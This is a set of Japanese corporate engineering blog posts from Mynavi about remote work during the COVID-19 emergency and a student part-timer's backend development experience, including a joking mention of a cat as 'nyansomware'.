これからも奥さたず二人䞉脚で子育おを楜しんでいただきたいですね。
こんにちは、゚ンゞニアブログ線集郚のアむコです。 掟遣瀟員ながらブログ線集郚員になっお早1幎が過ぎ、システム統括本郚珟デゞタルテクノロゞヌ戊略本郚での仕事にも慣れおきた今日この頃。前職の制䜜郚眲でのスキルを生かしながらシステム統括本郚内珟デゞタルテクノロゞヌ戊略本郚で働かせおいただいおいたす。 今回は、そんな私目線で芋た圚宅ワヌクレポヌトをお届けしたいず思いたす。 掟遣の圚宅ワヌク 新型コロナりィルスの圱響もあり、マむナビでも月から圚宅ワヌクを導入しおいたす。 システム統括本郚内デゞタルテクノロゞヌ戊略本郚でもやむを埗ない堎合の出瀟を陀き、党埓業員を察象に圚宅ワヌクを掚奚しおおり、い぀もは賑やかなシステム統括宀内もガラリずしおいたした。 人も少なければ機噚も最䜎限の皌働状態、雰囲気的な寂しさも加わっお異様に感じたした。 (心なしか宀枩も寒かったような) 今回のようにコロナりィルスの圱響で日本政府から緊急事態宣蚀が発什されたこずにより、仕事にたで圱響が出るず思わなかったですし、こういった状況になっおも掟遣瀟員ずいう立堎で出瀟時同様の業務をさせおもらえおいる状況は非垞にありがたいこずだず思っおいたす。 圚宅ワヌクでできるこず、䞍䟿なこず リモヌト蚭定を行い、自宅でも出瀟しおいるずきず同じツヌルを䜿わせおもらっおいたす。 自宅PCから䌚瀟のPCをリモヌト操䜜するため、ちょっずしたタむムラグや、䌚瀟PCの蚭定䟝存などに倚少違和感がありたしたが、ひず通り出瀟しおいるのず同様の䜜業はできたした。 通勀時の倩候を気にしなくおもいいし、通勀時間を有効掻甚できるのが圚宅ワヌクのいいずころですよね。 勀務が終了しおも電車に乗っお垰る必芁はないし、たるでどこでも○アを䜿っお出勀しおいるような感芚です。 たた、定時内に䞀日の仕事を終わらせなければならないずいう䜿呜感も芜生え、効率を考えおタスク凊理しおいたす。 圚宅ワヌクをするにあたり、自宅ではできない、仕事をするうえで䞍䟿なこずも倚々ありたした。 䟋えば、これは日本の文化ずも蚀えるのかもしれたせんが、䞊長のハンコを必芁ずする承認䜜業。 事務䜜業をメむンずする私の業務では、 ①䞊長の確認が必芁な曞類をプリント ②䞊長に内容を確認いただいおハンコをもらう ③しかるべき郚眲ぞ提出 ずいう流れが倚く発生したす。 通垞この流れで業務を遂行するには、少なくずも私、䞊長、しかるべき郚眲の担圓者の人は出瀟しないずいけたせん。 これがマむナビ芏暡ずもなれば、密は避けられない状況になりたす。 ずりあえず そこで私は付け焌刃の察策ずしお、メヌル承認ずいう手段を取りたした。 必芁な曞類を䜜成・デヌタ化しおおき、提出曞類ず合わせおメヌル添付したものを送付。 䞊長に内容を確認いただいお問題がなければ返信をもらい、これをハンコの代わりの蚌跡ずする、ずいう方法。 予め提出先の郚眲には、こういった流れでハンコの代わりずなるのか、蚌跡ずしお有効なのか確認をしおおく必芁がありたす。 出瀟しお䜜業するのず比べるず明らかに手間は増えたすが、最初のメヌルをテンプレヌト化しおおけば、各々のスケゞュヌルを把握しおハンコ巡瀌するより結果的に芋お楜になったず蚀えたす。 ニャンサムりェアの被害 巷でもちらほら話題になっおいたすが、 我が家でも、コロナの匊害ずしおニャンサムりェアが猛嚁を振るっおいたす。 Webミヌティング䞭だろうが䜜業䞭だろうが、どんなに忙しくおもお構いなしに乱入しおきたす。 特にうちの猫はよく鳎く子なので音声にたで䟵入し、さらには画面に映りこむずいう被害が出おいたす。 緊急事態宣蚀解陀、その埌 珟圚は、緊急事態宣蚀解陀に䌎い出瀟する方も増えたしたが、 密を避け感染拡倧を防ぐため月䞋旬珟圚でも匕き続き圚宅ワヌク可胜ずなっおいたす。 今回は緊急的な措眮の圚宅ワヌクずいう事で䜜業したしたが、 コロナ犍でも察応できる手段があるこずは発芋でしたし、勉匷にもなりたした。 時間や堎所を自由に遞べるような働き方が進んでいくのず同時に こういった事務䜜業に䟿利なツヌルの導入も進んでいけばいいなず思いたした。 ここたでお読みいただきありがずうございたす。 今埌も䞍定期で曎新しおいきたすのでお楜しみに
こんにちは、マむナビ゚ンゞニアブログ線集郚です。 今回はIT゜リュヌション郚のアルバむト䜓隓レポヌト第4匟バック゚ンド線です。 アルバむトが働いおいるむメヌゞがないマむナビですが、実はこれたで玹介したITシステム職のアルバむトさん以倖にも、孊校や独孊で孊んだ知識を生かし぀぀、マむナビ瀟員のサポヌトを受け、様々なこずにチャレンゞしながら働いおいる方もいたす。 そんな孊業ず゚ンゞニアを䞡立しおいる孊生アルバむトさんに䜓隓レポヌトしおいただきたした。 はじめに 私は情報系の孊郚の倧孊生で、プログラミングにもっず觊れたくお、コヌディングのアルバむトを探しおいたした。 Python, VSCodeずいうキヌワヌドに魅力を感じお、AtCoderJobs経由で応募したずころ、採甚されたした。 Web系の知識は倧孊の講矩で少し勉匷した皋床で、バック゚ンドの知識もほどんどなかったため、たずはFlaskでWeb Serverを立ち䞊げるなどの基本的なずころから始めさせおもらいたした。 マむナビのアルバむトずしおバック゚ンド、特にサヌバヌレスなどを開発しおいたす。 内容ずしたしおは、この環境でこういうものが䜜りたいずいうただ现かく決たっおいない䟝頌がくるので、自分でドキュメント等をいろいろ調べながら数週間かけお完成させるずいうこずを繰り返しおいきたす。 次に、実際に䜜った䞻なものを時系列順で玹介したいず思いたす シナリオ Slack App デヌタベヌスのシナリオを読んで、SlackのBOTに流させるずいうアプリを䜜りたした。 たた、遞択肢を提瀺させお、ナヌザヌが遞んだ結果によっおシナリオが分岐する機胜を持たせたした。 この時の私は、APIも分からないような状態でしたので、様々な箇所で詰たりたしたが、先茩瀟員さんに助けおもらいたした。 たた、先茩瀟員さんなどのコヌドを芋るずいう機䌚もあり、ずおも勉匷になりたした。 Web䞊の蚘事をGoogle Driveに転送する関数 ヘッドレスChromeを䜿っおWebペヌゞをPDF化しお、Google Driveに保存するサヌバヌレス関数を䜜りたした。 たずは、サヌバヌを実際に扱っおから始めおいくずいう順序でしたので、比范的取り組みやすかったず思いたす。 たた、これでNode.jsに初めお觊れたした。 AWSでAPI䜜成 ある特定の情報を取埗するAPIをAWS LambdaずAPI Gatewayで䜜りたした。 APIに぀いお、いろいろず経隓しおから、実際に䜜る䜜業ぞず移行する順序がよかったず感じたす。 マむナビの環境 業務内容 先茩方が䜜ったツヌル・APIを組み合わせお開発しおいくため、その仕様の詳现が曞かれた英語のドキュメントや、日本語の蚘事を読むこずが倚いです。 それをもずに自分でコヌドを曞いおみお、゚ラヌメッセヌゞを読んだり、怜玢したりしおデバッグを繰り返しおプログラムを完成させたす。 開発甚の環境が䞎えられるので、あたり深く考えずにテストするこずができたす。 呚囲の環境 自分の知識に適しながらも、新しいこずを孊べる案件をいただいおいるず感じたす。 ゚ラヌなどで詰たっおしたい、自分ではどうしようもない時には、詳しい瀟員さんに質問もできるので安心です。 たた、现かい芁件に関しおは自分の裁量が倧きいず感じたす。 勀務時間 平日の業務時間のうち、自分で遞んだ時間で働いおいたす。 たた、倧孊の勉匷が忙しい堎合など、すぐに勀務時間を倉曎しおもらったり、長期の䌑みをもらったりず融通も利きやすいず思いたす。 線集郚から いかがだったでしょうか。 䌁業にアルバむトずしお働くずいうのは、孊校や独孊だけでは埗られないこずも倚く、そこで働く人々の知識やノりハりを孊びながら生かせる堎でもあるず思いたす。 マむナビには郚眲、職皮、雇甚圢態の異なる倚皮倚様な人材が肩を䞊べお働いおいたす。 今埌もマむナビで働く様々な方を玹介しおいきたすので、是非ご期埅ください。
こんにちは、マむナビ゚ンゞニアブログ線集郚の井藁です。 新型コロナりむルスが猛嚁を振るうなか、マむナビ本瀟がある竹橋東京においおは緊急事態宣蚀が出されおおり、基本的にはリモヌトワヌクが矩務付けられおいたす。 私もリモヌトにお業務を行っおいたすが、その環境や感想などをご玹介したいず思いたす。 自宅環境の玹介 たずは、自宅環境をご玹介したいず思いたす。 私は、基本的には私物のデスクトップPCを䜿甚しおいたす。 こちらにはスタンドマむクずWebカメラを接続しおおり、オンラむン䌚議などではこちらを甚いお参加しおいたす。必芁に応じお䌚瀟支絊のiPadも展開し、そちらでしか芋られないような情報を確認しながら業務にあたるこずもありたす。 自分はもずもず動画線集などを趣味で行っおいるので環境は敎っおいる方ですが、自宅にPCがない方に぀いおは、䌚瀟支絊のノヌトPCを持ち垰る圢で取り組んでいたす。 業務のこなし方に぀いお 業務内容ずしおは、倧きく「瀟内ネットワヌクに接続するもの」「瀟内ネットワヌク接続を必芁ずしないもの」の2぀に分けられたす。 瀟内ネットワヌク系業務はリモヌトデスクトップ たず、瀟内ネットワヌクに接続する必芁のある業務に぀いおは、リモヌトデスクトップの仕組みを甚いお察凊しおいたす。これは私のように、䌚瀟PCを自宅などぞ持ち出しおいないこずが前提です。 この仕組みを甚いるず、䌚瀟PCを遠隔操䜜できるようになりたす。䌚瀟PCを瀟内ネットワヌクに接続しおいれば、その環境䞋でしか芋られないような情報にもアクセスできるようになる、ずいう仕組みになっおいたす。 このリモヌトデスクトップに぀いおは、やや挙動にラグが生じるものの、ほが䌚瀟にいるのず倉わらない状態で䜜業をするこずが可胜ずなっおいたす。 瀟内ネットワヌクにアクセス䞍芁なものは、自宅PCそのたたでアクセス 次に、瀟内ネットワヌクぞのアクセスを必芁ずしない業務に぀いおは、自宅PCから盎接アクセスを行っお䜜業をしおいたす。こちらはIP制限などを掛けおいないものが前提になりたす。 クラりドサヌビス䞊での開発などは、基本的に瀟内ネットワヌクを螏み台ずする必芁がないものが倚く、リモヌトデスクトップによる操䜜をせずずも䜜業が可胜です。自宅PCでアクセスした方が䜎遅延のため、こちらの方法で察応可胜な業務を優先しお消化するようにしおいたす。 マむナビのシステム職瀟員から芋た、リモヌトワヌクのメリットずデメリット ここからは、リモヌトワヌクに取り組むなかで感じたメリットずデメリットに぀いおご玹介したす。 通勀時間のカット、䜜業効率アップによる生産性の向䞊 たずメリットですが、特に自分が感じたのは 通勀時間が発生しないこず 䜜業時に干枉を受けにくくなったこず こちらの2点が挙げられたす。 通勀時間に぀いおは䜓力的・粟神的な負荷に加え、持ち時間たで削られるメリットの少ない行動だずいうこずを匷く再認識したした。この点では、リモヌトワヌクに倚くのメリットがあるず思っおいたす。 リモヌトワヌクが本栌化する前から時差出勀の取り組みはあり、快適な通勀が可胜な環境ずはなっおいたのですが、切り替わっおからはさらに時間的な䜙裕が生たれたず感じたす。 たた、集䞭しお業務に取り組みたい時に他の業務が緊急的に割り蟌むこずが倧幅に枛ったこずも、倧きなメリットであるず感じおいたす。 郚眲の特性䞊、問い合わせなどが倚く発生するのですが、それらが電話ではなくメヌルやチャットベヌスに代わったこずで、珟圚の䜜業がひず段萜しおからそちらに取り組む、ずいうこずができるようになりたした。 マルチタスクをするこずが少なくなった結果、䜜業効率が倧きくアップしおいるず実感しおいたす。 管理郚門ゆえの業務、業務内倖の境界線、コミュニケヌションの取り方 次にデメリットに぀いおですが、 管理郚門ずしお、珟堎にいる必芁がある業務がこなしづらい 環境的に、業務内ず業務倖の線匕きが難しい メンバヌずのコミュニケヌションを維持する難しさ 以䞊の3点を感じたす。 我々は先述の通り管理郚門である以䞊、珟堎に赎かないずこなせないような業務が䞀定数以䞊存圚しおいたす。 珟圚は、物理的に出瀟を䜙儀なくされる業務以倖は圚宅で取り組む必芁があるため、その方法で苊戊するシヌンが倚いず感じおいたす。 ただ、リモヌトワヌクをし始めおわかったのは、 ほずんどの業務は圚宅ワヌクでも回る ずいうこずです。 「これは出瀟しないずこなせない」ずいう先入芳にずらわれおいおいたような業務も、工倫次第で䜕ずかなるこずがわかったのは倧きな収穫でした。 たた、環境面でのデメリットずしお、業務ずそれ以倖の線匕きが難しいこず、チヌムメンバヌずのコミュニケヌションが䞍足しがちなこずの2぀が挙げられたす。 こちらはどの業皮でもありがちなこずだずは思いたすが、私は仕事の区切り出瀟時や昌䌑憩時などにおいおチャットツヌルで積極的に発蚀をするこずで、自埋し぀぀メンバヌず亀流するように工倫しおいたす。 管理郚門のシステム職であっおも、リモヌトは働き方を倧きく倉える 結論ずしおは、リモヌトワヌクでできない業務はかなり少なく、か぀䜜業効率が䞊がるずいうこずで、デメリットよりメリットの方が倧きいず感じたした。 新型コロナりむルスの猛嚁が収たった埌も、積極的にリモヌトワヌクには取り組んでいきたいなず思いたす。